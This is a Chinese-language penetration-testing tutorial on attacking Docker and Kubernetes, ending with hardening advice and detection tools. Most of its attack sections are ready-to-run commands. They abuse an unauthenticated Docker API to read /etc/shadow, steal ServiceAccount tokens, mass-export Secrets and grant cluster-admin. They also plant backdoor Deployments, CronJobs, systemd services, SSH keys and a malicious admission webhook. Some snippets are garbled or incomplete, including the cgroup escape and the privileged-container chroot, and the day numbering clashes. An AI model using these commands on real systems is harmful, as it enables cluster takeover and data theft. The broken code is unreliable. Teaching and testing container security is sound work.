Day-216-渗透测试中的容器与 Kubernetes 安全渗透

# Day 246: 渗透测试中的容器与 Kubernetes 安全渗透

> 渗透测试系列第 36 天 | 预计阅读时间：42 分钟 | 难度：★★★★★

---

## 清单 目录
1. [容器安全概述](#容器安全概述)
2. [容器架构与安全模型](#容器架构与安全模型)
3. [Docker 安全测试](#docker-安全测试)
4. [Kubernetes 架构与安全](#kubernetes-架构与安全)
5. [Kubernetes 信息收集](#kubernetes-信息收集)
6. [容器逃逸技术](#容器逃逸技术)
7. [Kubernetes 攻击技术](#kubernetes-攻击技术)
8. [容器镜像安全](#容器镜像安全)
9. [容器网络攻击](#容器网络攻击)
10. [容器持久化技术](#容器持久化技术)
11. [检测与防御](#检测与防御)
12. [实战案例](#实战案例)
13. [总结与思考](#总结与思考)
14. [参考资料](#参考资料)

---

## 容器安全概述

### 容器安全重要性

容器和 Kubernetes 已成为现代应用部署的标准，但容器安全面临着独特的挑战：

```
┌─────────────────────────────────────────────────────────────┐
│                    容器安全独特挑战                          │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  容器特点：                                                  │
│  ├── 共享内核 → 逃逸风险                                    │
│  ├── 短暂性 → 取证困难                                      │
│  ├── 镜像复用 → 漏洞传播                                    │
│  └── 动态调度 → 边界模糊                                    │
│                                                             │
│  Kubernetes 特点：                                           │
│  ├── 复杂架构 → 攻击面大                                    │
│  ├── API 驱动 → API 安全风险                                 │
│  ├── 多租户 → 隔离风险                                      │
│  └── 自动化 → 配置错误风险                                  │
│                                                             │
│  安全影响：                                                  │
│  ├── 容器逃逸 → 主机沦陷                                    │
│  ├── 集群接管 → 大规模影响                                  │
│  ├── 数据泄露 → 敏感数据暴露                                │
│  └── 服务中断 → 业务影响                                    │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### 容器安全测试范围

```
容器安全测试范围:
├── 容器运行时安全
│   ├── Docker
│   ├── containerd
│   └── CRI-O
├── 编排平台安全
│   ├── Kubernetes
│   ├── Docker Swarm
│   └── Nomad
├── 镜像安全
│   ├── 漏洞扫描
│   ├── 配置检查
│   └── 签名验证
├── 网络安全
│   ├── 容器网络
│   ├── 服务网格
│   └── 网络策略
└── 供应链安全
    ├── 镜像来源
    ├── CI/CD 管道
    └── 依赖管理
```

### ! 安全警示

```
! 容器渗透测试警示:
├── 生产环境风险
│   ├── 容器逃逸可能影响主机
│   ├── 集群攻击可能影响所有服务
│   └── 数据可能丢失
├── 测试建议
│   ├── 在测试环境进行
│   ├── 获得明确授权
│   ├── 做好备份
│   └── 有回滚计划
└── 法律合规
    ├── 遵守云服务政策
    ├── 遵守数据保护法规
    └── 遵守行业规范
```

---

## 容器架构与安全模型

### Docker 架构

```
Docker 架构:
├── Docker Daemon (dockerd)
│   ├── 容器管理
│   ├── 镜像管理
│   └── 网络管理
├── Docker Client
│   └── CLI 工具
├── Container
│   ├── 进程隔离
│   ├── 文件系统隔离
│   └── 网络隔离
├── Image
│   ├── 分层存储
│   └── 只读模板
└── Registry
    └── 镜像仓库
```

### 容器隔离机制

```
容器隔离技术:
├── Namespaces (命名空间)
│   ├── PID (进程隔离)
│   ├── NET (网络隔离)
│   ├── IPC (进程间通信)
│   ├── MNT (挂载点)
│   ├── UTS (主机名)
│   └── User (用户)
├── Cgroups (控制组)
│   ├── CPU 限制
│   ├── 内存限制
│   ├── IO 限制
│   └── 网络限制
├── Capabilities (能力)
│   ├── Linux 能力
│   └── 最小权限
└── SELinux/AppArmor
    └── 强制访问控制
```

### Kubernetes 架构

```
Kubernetes 架构:
├── Control Plane (控制平面)
│   ├── API Server
│   ├── etcd (数据存储)
│   ├── Scheduler (调度器)
│   └── Controller Manager
├── Worker Nodes (工作节点)
│   ├── Kubelet
│   ├── Kube-proxy
│   └── 容器运行时
├── 对象
│   ├── Pod (最小单元)
│   ├── Deployment
│   ├── Service
│   ├── ConfigMap
│   ├── Secret
│   └── Namespace
└── 网络
    ├── CNI 插件
    ├── Service 网络
    └── Ingress
```

---

## Docker 安全测试

### Docker 信息收集

```bash
# 检查 Docker 访问权限
# Unix Socket
ls -la /var/run/docker.sock
# 如果有读写权限，可控制 Docker

# TCP Socket
docker -H tcp://0.0.0.0:2375 ps
# 未认证的 Docker API

# 检查 Docker 配置
cat /etc/docker/daemon.json

# 列出容器
docker ps -a

# 列出镜像
docker images

# 检查容器配置
docker inspect [container_id]

# 检查容器日志
docker logs [container_id]
```

### Docker API 攻击

```bash
# 未认证的 Docker API
# 默认端口：2375 (HTTP), 2376 (HTTPS)

# 列出容器
curl http://target:2375/containers/json

# 创建特权容器
curl -X POST http://target:2375/containers/create \
    -H "Content-Type: application/json" \
    -d '{
        "Image": "alpine",
        "Cmd": ["sleep", "infinity"],
        "HostConfig": {
            "Privileged": true,
            "Binds": ["/:/host"]
        }
    }'

# 启动容器
curl -X POST http://target:2375/containers/[id]/start

# 执行命令
curl -X POST http://target:2375/containers/[id]/exec \
    -H "Content-Type: application/json" \
    -d '{
        "Cmd": ["cat", "/host/etc/shadow"],
        "AttachStdout": true
    }'
```

### Docker 配置错误

```
常见 Docker 配置错误:
├── Docker Socket 暴露
│   └── /var/run/docker.sock 可访问
├── Docker API 未认证
│   └── 2375 端口开放
├── 特权容器
│   └── --privileged 标志
├── 主机挂载
│   └── -v /:/host
├── 能力过多
│   └── --cap-add=ALL
└── 网络配置不当
    └── host 网络模式
```

```bash
# 检查特权容器
docker ps --format "{{.Names}}: {{.HostConfig.Privileged}}"

# 检查主机挂载
docker ps --format "{{.Names}}: {{.Mounts}}"

# 检查能力
docker inspect [container] | grep -A 10 CapAdd
```

---

## Kubernetes 架构与安全

### Kubernetes 攻击面

```
Kubernetes 攻击面:
├── API Server
│   ├── 未授权访问
│   ├── 认证绕过
│   └── 授权配置错误
├── etcd
│   ├── 未加密访问
│   ├── 凭证泄露
│   └── 数据篡改
├── Kubelet
│   ├── 未授权访问
│   ├── 匿名认证
│   └── 特权容器
├── 容器
│   ├── 容器逃逸
│   ├── 镜像漏洞
│   └── 配置错误
├── 网络
│   ├── 网络策略缺失
│   ├── 服务暴露
│   └── 中间人攻击
└── 供应链
    ├── 恶意镜像
    ├── 配置注入
    └── 依赖漏洞
```

### Kubernetes 认证授权

```
Kubernetes 认证:
├── 匿名认证
│   └── system:anonymous
├── 证书认证
│   └── 客户端证书
├── Token 认证
│   ├── ServiceAccount Token
│   └── Bootstrap Token
└── 其他
    ├── OAuth
    └── LDAP

Kubernetes 授权:
├── RBAC (基于角色)
│   ├── Role/ClusterRole
│   └── RoleBinding/ClusterRoleBinding
├── Node 授权
│   └── 节点限制
├── ABAC (基于属性)
│   └── 旧版本
└── Webhook
    └── 自定义授权
```

---

## Kubernetes 信息收集

### kubectl 信息收集

```bash
# 检查集群信息
kubectl cluster-info
kubectl version

# 列出命名空间
kubectl get namespaces

# 列出 Pod
kubectl get pods --all-namespaces

# 列出 Deployment
kubectl get deployments --all-namespaces

# 列出 Service
kubectl get services --all-namespaces

# 列出 Secret
kubectl get secrets --all-namespaces

# 列出 ConfigMap
kubectl get configmaps --all-namespaces

# 列出 ServiceAccount
kubectl get serviceaccounts --all-namespaces

# 列出 ClusterRole
kubectl get clusterroles

# 列出 ClusterRoleBinding
kubectl get clusterrolebindings

# 检查节点
kubectl get nodes
kubectl describe node [node-name]

# 检查 Pod 详情
kubectl describe pod [pod-name] -n [namespace]
```

### 权限枚举

```bash
# 检查当前权限
kubectl auth can-i --list

# 检查特定权限
kubectl auth can-i create pods
kubectl auth can-i get secrets
kubectl auth can-i '*' '*'  # 所有权限

# 检查 ServiceAccount 权限
kubectl get serviceaccount [name] -o yaml
kubectl get clusterrolebinding -o yaml | grep -A 5 [serviceaccount]
```

### API 服务器枚举

```bash
# 未授权访问 API Server
curl -k https://api-server:6443/api/v1/namespaces
curl -k https://api-server:6443/api/v1/pods
curl -k https://api-server:6443/api/v1/secrets

# 使用 ServiceAccount Token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k https://api-server:6443/api/v1/namespaces \
    -H "Authorization: Bearer $TOKEN"

# 检查 API 端点
curl -k https://api-server:6443/api/v1/namespaces/kube-system/proxy
```

### 工具扫描

```bash
# 使用 kube-hunter 扫描
git clone https://github.com/aquasecurity/kube-hunter.git
cd kube-hunter
pip install -r requirements.txt
python kube-hunter.py --remote [API_SERVER]

# 使用 kubescape
kubectl krew install kubescape
kubectl kubescape scan

# 使用 kubectl-who-can
kubectl krew install who-can
kubectl who-can create pods

# 使用 peirates (Kubernetes 渗透工具)
# https://github.com/inguardians/peirates
```

---

## 容器逃逸技术

### 容器逃逸条件

```
容器逃逸条件:
├── 特权容器
│   └── --privileged
├── 危险能力
│   ├── SYS_ADMIN
│   ├── SYS_PTRACE
│   ├── NET_ADMIN
│   └── SYS_MODULE
├── 主机挂载
│   ├── /var/run/docker.sock
│   ├── /proc
│   └── 根目录挂载
├── 内核漏洞
│   └── Dirty COW 等
└── 配置错误
    └── AppArmor/SELinux 禁用
```

### 特权容器逃逸

```bash
# 检查特权容器
kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace}{" "}{.metadata.name}{" "}{.spec.containers[*].securityContext.privileged}{"\n"}{end}'

# 特权容器逃逸
# 1. 进入容器
kubectl exec -it [pod] -- /bin/bash

# 2. 挂载主机文件系统
mkdir /host
mount -t proc proc /host/proc

# 3. chroot 到主机
chroot /host

# 4. 现在在主机上
whoami
hostname
```

### Docker Socket 逃逸

```bash
# 如果挂载了 Docker Socket
ls -la /var/run/docker.sock

# 创建特权容器
docker run -it --rm -v /var/run/docker.sock:/var/run/docker.sock alpine

# 在容器内
apk add docker
docker ps  # 可以看到主机上的容器

# 创建逃逸容器
docker run -it --rm --privileged -v /:/host alpine chroot /host

# 现在在主机上
```

### 危险能力逃逸

```bash
# 检查容器能力
cat /proc/1/status | grep Cap

# SYS_ADMIN 能力逃逸
# 挂载 cgroup
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x

# 写入逃逸脚本
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=$[^,]*$.*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/x/release_agent

# 执行命令
sh -c 'echo \$0 > /cmd'
cat /cmd  # 主机上的命令输出

# SYS_PTRACE 能力逃逸
# 可以调试主机进程
```

### 内核漏洞逃逸

```
常见容器逃逸漏洞:
├── CVE-2019-5736 (runc 逃逸)
│   └── 覆盖宿主机 runc
├── CVE-2020-15257 (containerd 逃逸)
│   └── 网络命名空间逃逸
├── CVE-2022-0185 (Linux 内核)
│   └── 文件系统逃逸
├── Dirty COW (CVE-2016-5195)
│   └── 权限提升
└── Dirty Pipe (CVE-2022-0847)
    └── 权限提升
```

```bash
# 检查漏洞
# 使用 linux-exploit-suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
bash linux-exploit-suggester.sh

# 检查 runc 版本
runc --version

# 检查内核版本
uname -a
```

---

## Kubernetes 攻击技术

### ServiceAccount Token 窃取

```bash
# ServiceAccount Token 位置
# /var/run/secrets/kubernetes.io/serviceaccount/token

# 在 Pod 内读取 Token
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# 使用 Token 访问 API
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# 列出 Secret
curl --cacert $CA_CERT \
    -H "Authorization: Bearer $TOKEN" \
    https://kubernetes.default/api/v1/namespaces/$NAMESPACE/secrets

# 列出 Pod
curl --cacert $CA_CERT \
    -H "Authorization: Bearer $TOKEN" \
    https://kubernetes.default/api/v1/namespaces/$NAMESPACE/pods
```

### 权限提升

```bash
# 检查可创建的资源
kubectl auth can-i --list

# 创建高权限 ServiceAccount
kubectl create serviceaccount attacker
kubectl create clusterrolebinding attacker-admin \
    --clusterrole=cluster-admin \
    --serviceaccount=default:attacker

# 获取新 Token
SECRET=$(kubectl get serviceaccount attacker -o jsonpath='{.secrets[0].name}')
TOKEN=$(kubectl get secret $SECRET -o jsonpath='{.data.token}' | base64 -d)

# 使用新 Token
export KUBE_TOKEN=$TOKEN
```

### 敏感数据窃取

```bash
# 列出所有 Secret
kubectl get secrets --all-namespaces

# 读取 Secret
kubectl get secret [name] -n [namespace] -o yaml
kubectl get secret [name] -n [namespace] -o jsonpath='{.data}'

# 解码 Secret
kubectl get secret [name] -n [namespace] -o jsonpath='{.data.password}' | base64 -d

# 批量导出 Secret
for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}'); do
    kubectl get secrets -n $ns -o yaml >> secrets_$ns.yaml
done

# 读取 ConfigMap (可能包含敏感配置)
kubectl get configmaps --all-namespaces
```

### 横向移动

```bash
# 在集群内横向移动
# 1. 获取一个 Pod 的访问权限
kubectl exec -it [pod] -- /bin/bash

# 2. 从 Pod 内攻击其他 Pod
# 获取集群内 IP
kubectl get pods -o wide

# 从 Pod 内访问其他服务
curl http://[service-name].[namespace].svc.cluster.local

# 3. 利用信任关系
# 许多服务使用 ServiceAccount 自动认证
```

### 持久化技术

```
Kubernetes 持久化:
├── 创建后门 Pod
│   └── 隐藏的 Pod
├── 修改 Deployment
│   └── 添加恶意容器
├── 创建 CronJob
│   └── 定期执行
├── 修改 Admission Controller
│   └── 自动注入
└── 创建 Webhook
    └── 拦截请求
```

```bash
# 创建后门 Deployment
cat <<EOF | kubectl apply -f -
apiVersion: apps/v1
kind: Deployment
metadata:
  name: backdoor
  namespace: kube-system
spec:
  replicas: 1
  selector:
    matchLabels:
      app: backdoor
  template:
    metadata:
      labels:
        app: backdoor
    spec:
      containers:
      - name: backdoor
        image: attacker/shell:latest
        command: ["sleep", "infinity"]
EOF

# 创建 CronJob 持久化
cat <<EOF | kubectl apply -f -
apiVersion: batch/v1
kind: CronJob
metadata:
  name: backdoor
  namespace: default
spec:
  schedule: "*/5 * * * *"
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: backdoor
            image: attacker/shell:latest
          restartPolicy: OnFailure
EOF
```

---

## 容器镜像安全

### 镜像漏洞扫描

```bash
# 使用 Trivy 扫描
trivy image [image-name]

# 使用 Clair 扫描
# 部署 Clair
docker-compose up -d

# 分析镜像
curl -X POST http://localhost:6060/v1/layers \
    -d '{"Layer": {"Name": "layer1", "Path": "image.tar"}}'

# 使用 Docker Scan
docker scan [image-name]

# 使用 Anchore
anchore-cli image add [image-name]
anchore-cli image wait [image-name]
anchore-cli image vuln [image-name] all
```

### 恶意镜像检测

```
恶意镜像特征:
├── 异常基础镜像
│   └── 非官方来源
├── 异常层
│   ├── 下载恶意软件
│   ├── 创建后门账户
│   └── 修改系统配置
├── 异常入口点
│   └── 执行恶意脚本
└── 隐藏数据
    └── 层中隐藏数据
```

```bash
# 检查镜像历史
docker history [image-name]
docker history --no-trunc [image-name]

# 检查镜像内容
docker save [image-name] | tar -tvf -

# 提取镜像层
docker save [image-name] -o image.tar
mkdir extracted && cd extracted
tar -xvf ../image.tar

# 检查层内容
for layer in */layer.tar; do
    echo "=== $layer ==="
    tar -tvf $layer | head -20
done
```

### 镜像签名验证

```bash
# 使用 Docker Content Trust
export DOCKER_CONTENT_TRUST=1

# 签名镜像
docker trust sign [image-name]

# 验证镜像
docker trust inspect [image-name]

# 使用 Notary
notary -d ~/.docker/trust -s https://notary-server:4443 list [image-name]
```

---

## 容器网络攻击

### 容器网络模型

```
Kubernetes 网络:
├── Pod 网络
│   ├── 每个 Pod 有独立 IP
│   └── Pod 间可直接通信
├── Service 网络
│   ├── ClusterIP (内部)
│   ├── NodePort (外部)
│   └── LoadBalancer (外部)
├── CNI 插件
│   ├── Calico
│   ├── Flannel
│   ├── Weave
│   └── Cilium
└── 网络策略
    └── NetworkPolicy
```

### 网络嗅探

```bash
# 在 Pod 内嗅探
kubectl exec -it [pod] -- tcpdump -i any -w /tmp/capture.pcap

# 使用侧车容器
kubectl run sniff -it --rm --image=corfrank/tcpdump --restart=Never -- \
    --privileged --pid=host --net=host -- \
    tcpdump -i any -w /host/tmp/capture.pcap

# 使用 eBPF 工具
kubectl krew install sniff
kubectl sniff [pod]
```

### 中间人攻击

```
中间人攻击场景:
├── ARP 欺骗
│   └── 容器网络内
├── DNS 欺骗
│   └── 篡改 DNS 响应
├── Service 劫持
│   └── 创建同名 Service
└── Ingress 劫持
    └── 恶意 Ingress 规则
```

```bash
# 创建恶意 Service
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Service
metadata:
  name: legitimate-service  # 与合法服务同名
  namespace: default
spec:
  selector:
    app: attacker
  ports:
  - port: 80
    targetPort: 8080
EOF

# 检查 Service 冲突
kubectl get services --all-namespaces | grep [service-name]
```

---

## 容器持久化技术

### 持久化方法

```
容器持久化:
├── 宿主机持久化
│   ├── 创建系统服务
│   ├── 修改 crontab
│   └── SSH 密钥
├── 集群持久化
│   ├── 恶意 Deployment
│   ├── CronJob
│   └── Admission Webhook
├── 镜像持久化
│   └── 恶意基础镜像
└── 配置持久化
    ├── ConfigMap
    └── Secret
```

### 宿主机持久化

```bash
# 如果已逃逸到宿主机
# 创建 systemd 服务
cat <<EOF > /etc/systemd/system/backdoor.service
[Unit]
Description=Backdoor Service
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/bin/backdoor
Restart=always

[Install]
WantedBy=multi-user.target
EOF

systemctl enable backdoor
systemctl start backdoor

# 添加 SSH 密钥
mkdir -p /root/.ssh
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys

# 添加 cron 任务
echo "*/5 * * * * /usr/local/bin/backdoor" >> /etc/crontab
```

### 集群持久化

```bash
# 创建恶意 Admission Webhook
cat <<EOF | kubectl apply -f -
apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata:
  name: backdoor-webhook
webhooks:
- name: backdoor.example.com
  clientConfig:
    service:
      name: backdoor-service
      namespace: default
      path: "/mutate"
  rules:
  - operations: ["CREATE"]
    apiGroups: [""]
    apiVersions: ["v1"]
    resources: ["pods"]
EOF

# 所有新 Pod 都会触发 Webhook
# 可注入恶意 sidecar 容器
```

---

## 检测与防御

### 容器安全检测

```
检测指标:
├── 异常容器
│   ├── 特权容器
│   ├── 主机网络
│   └── 主机 PID
├── 异常行为
│   ├── 容器逃逸尝试
│   ├── 敏感文件访问
│   └── 异常网络连接
├── 异常镜像
│   ├── 未签名镜像
│   ├── 漏洞镜像
│   └── 未知来源
└── 异常 API 调用
    ├── 未授权访问
    ├── 权限提升
    └── 敏感操作
```

### Kubernetes 安全配置

```yaml
# Pod 安全配置示例
apiVersion: v1
kind: Pod
metadata:
  name: secure-pod
spec:
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    fsGroup: 1000
  containers:
  - name: app
    image: app:latest
    securityContext:
      allowPrivilegeEscalation: false
      readOnlyRootFilesystem: true
      capabilities:
        drop:
          - ALL
    resources:
      limits:
        cpu: "1"
        memory: "1Gi"
      requests:
        cpu: "500m"
        memory: "512Mi"
    volumeMounts:
    - name: tmp
      mountPath: /tmp
    - name: var-run
      mountPath: /var/run
  volumes:
  - name: tmp
    emptyDir: {}
  - name: var-run
    emptyDir: {}
```

### 网络策略

```yaml
# 默认拒绝所有流量
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny
  namespace: default
spec:
  podSelector: {}
  policyTypes:
  - Ingress
  - Egress

# 允许特定流量
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-app
  namespace: default
spec:
  podSelector:
    matchLabels:
      app: web
  policyTypes:
  - Ingress
  - Egress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          app: api
    ports:
    - protocol: TCP
      port: 80
  egress:
  - to:
    - podSelector:
        matchLabels:
          app: db
    ports:
    - protocol: TCP
      port: 5432
```

### 安全工具

| 工具 | 用途 | 类型 |
|------|------|------|
| **Trivy** | 镜像扫描 | 开源 |
| **Falco** | 运行时检测 | 开源 |
| **Kube-bench** | CIS 基准检查 | 开源 |
| **Kube-hunter** | 渗透测试 | 开源 |
| **Aqua Security** | 容器安全平台 | 商业 |
| **Sysdig** | 容器监控 | 商业 |
| **NeuVector** | 容器安全 | 商业 |

---

## 实战案例

### 案例一：Kubernetes 集群渗透测试

#### 场景描述

```
客户：某云原生企业
环境：Kubernetes 集群 (50+ 节点)
服务：微服务架构 (100+ Pod)
目标：评估集群安全
时间：2 周
```

#### 攻击路径

```
Week 1: 信息收集与初始访问
┌─────────────────────────────────────────────────────────┐
│ - 发现暴露的 Kubernetes API (未授权访问)                │
│ - 枚举集群资源                                          │
│ - 发现高权限 ServiceAccount                             │
│ - 窃取 ServiceAccount Token                             │
│                                                         │
│ 初始访问:                                               │
│ - 使用窃取的 Token 访问 API                              │
│ - 创建恶意 Pod                                          │
│ - 获取集群内访问                                        │
└─────────────────────────────────────────────────────────┘

Week 2: 权限提升与数据窃取
┌─────────────────────────────────────────────────────────┐
│ - 权限提升:                                             │
│   - 发现可创建 ClusterRoleBinding                       │
│   - 创建 cluster-admin 绑定                              │
│   - 完全控制集群                                        │
│                                                         │
│ - 数据窃取:                                             │
│   - 导出所有 Secret                                     │
│   - 读取 ConfigMap (敏感配置)                           │
│   - 访问数据库凭证                                      │
│                                                         │
│ - 持久化:                                               │
│   - 创建后门 Deployment                                 │
│   - 添加恶意 Admission Webhook                          │
└─────────────────────────────────────────────────────────┘
```

#### 发现的问题

```
严重:
├── 1. API Server 未授权访问
│   └── 匿名认证启用
├── 2. ServiceAccount 权限过大
│   └── 可创建 ClusterRoleBinding
├── 3. 敏感数据未加密
│   └── Secret 明文存储
└── 4. 网络策略缺失
    └── Pod 间可自由通信

高危:
├── 5. 特权容器
│   └── 多个 Pod 使用 privileged
├── 6. 主机挂载
│   └── Docker Socket 挂载
└── 7. 镜像漏洞
    └── 多个镜像有严重漏洞
```

---

## 总结与思考

### 核心要点回顾

1. **容器安全需要专门技能**
   - 容器架构理解
   - Kubernetes 知识
   - 专用工具使用

2. **容器逃逸是高风险攻击**
   - 特权容器
   - 危险能力
   - 内核漏洞

3. **Kubernetes 配置复杂**
   - RBAC 配置
   - 网络策略
   - Pod 安全

4. **供应链安全重要**
   - 镜像来源
   - 漏洞扫描
   - 签名验证

5. **检测与防御需要多层**
   - 运行时监控
   - 网络策略
   - 安全配置

### 实战建议

1. **对渗透测试人员**:
   - 学习容器和 Kubernetes
   - 使用专用工具
   - 在测试环境进行
   - 了解逃逸风险

2. **对运维人员**:
   - 实施最小权限
   - 启用网络策略
   - 扫描镜像漏洞
   - 监控异常行为

3. **对开发人员**:
   - 使用安全基础镜像
   - 实施 Pod 安全配置
   - 避免特权容器
   - 定期更新镜像

---

## 参考资料

### 学习资源

- **Kubernetes Security Best Practices**
  - https://kubernetes.io/docs/concepts/security/

- **OWASP Kubernetes Security Cheat Sheet**
  - https://cheatsheetseries.owasp.org/cheatsheets/Kubernetes_Security_Cheat_Sheet.html

- **CNCF Security Technical Advisory Group**
  - https://github.com/cncf/tag-security

### 工具资源

| 工具 | 用途 | 链接 |
|------|------|------|
| **Trivy** | 镜像扫描 | https://github.com/aquasecurity/trivy |
| **Falco** | 运行时检测 | https://falco.org/ |
| **Kube-bench** | CIS 基准 | https://github.com/aquasecurity/kube-bench |
| **Kube-hunter** | 渗透测试 | https://github.com/aquasecurity/kube-hunter |
| **Peirates** | K8s 渗透 | https://github.com/inguardians/peirates |
| **Kubectl-who-can** | 权限检查 | https://github.com/aquasecurity/kubectl-who-can |

### 书籍推荐

1. **《Kubernetes Security》**
   - 作者：Liz Rice
   - K8s 安全权威指南

2. **《Cloud Native Security》**
   - 作者：Orit Keren
   - 云原生安全

3. **《Container Security》**
   - 作者：Liz Rice
   - 容器安全详解

---

*365 天信息安全技术系列 | Day 246 | 渗透测试系列 | 容器与 Kubernetes 安全渗透*
*创建时间：2026-04-12 | 作者：安全专家 · 严谨专业版*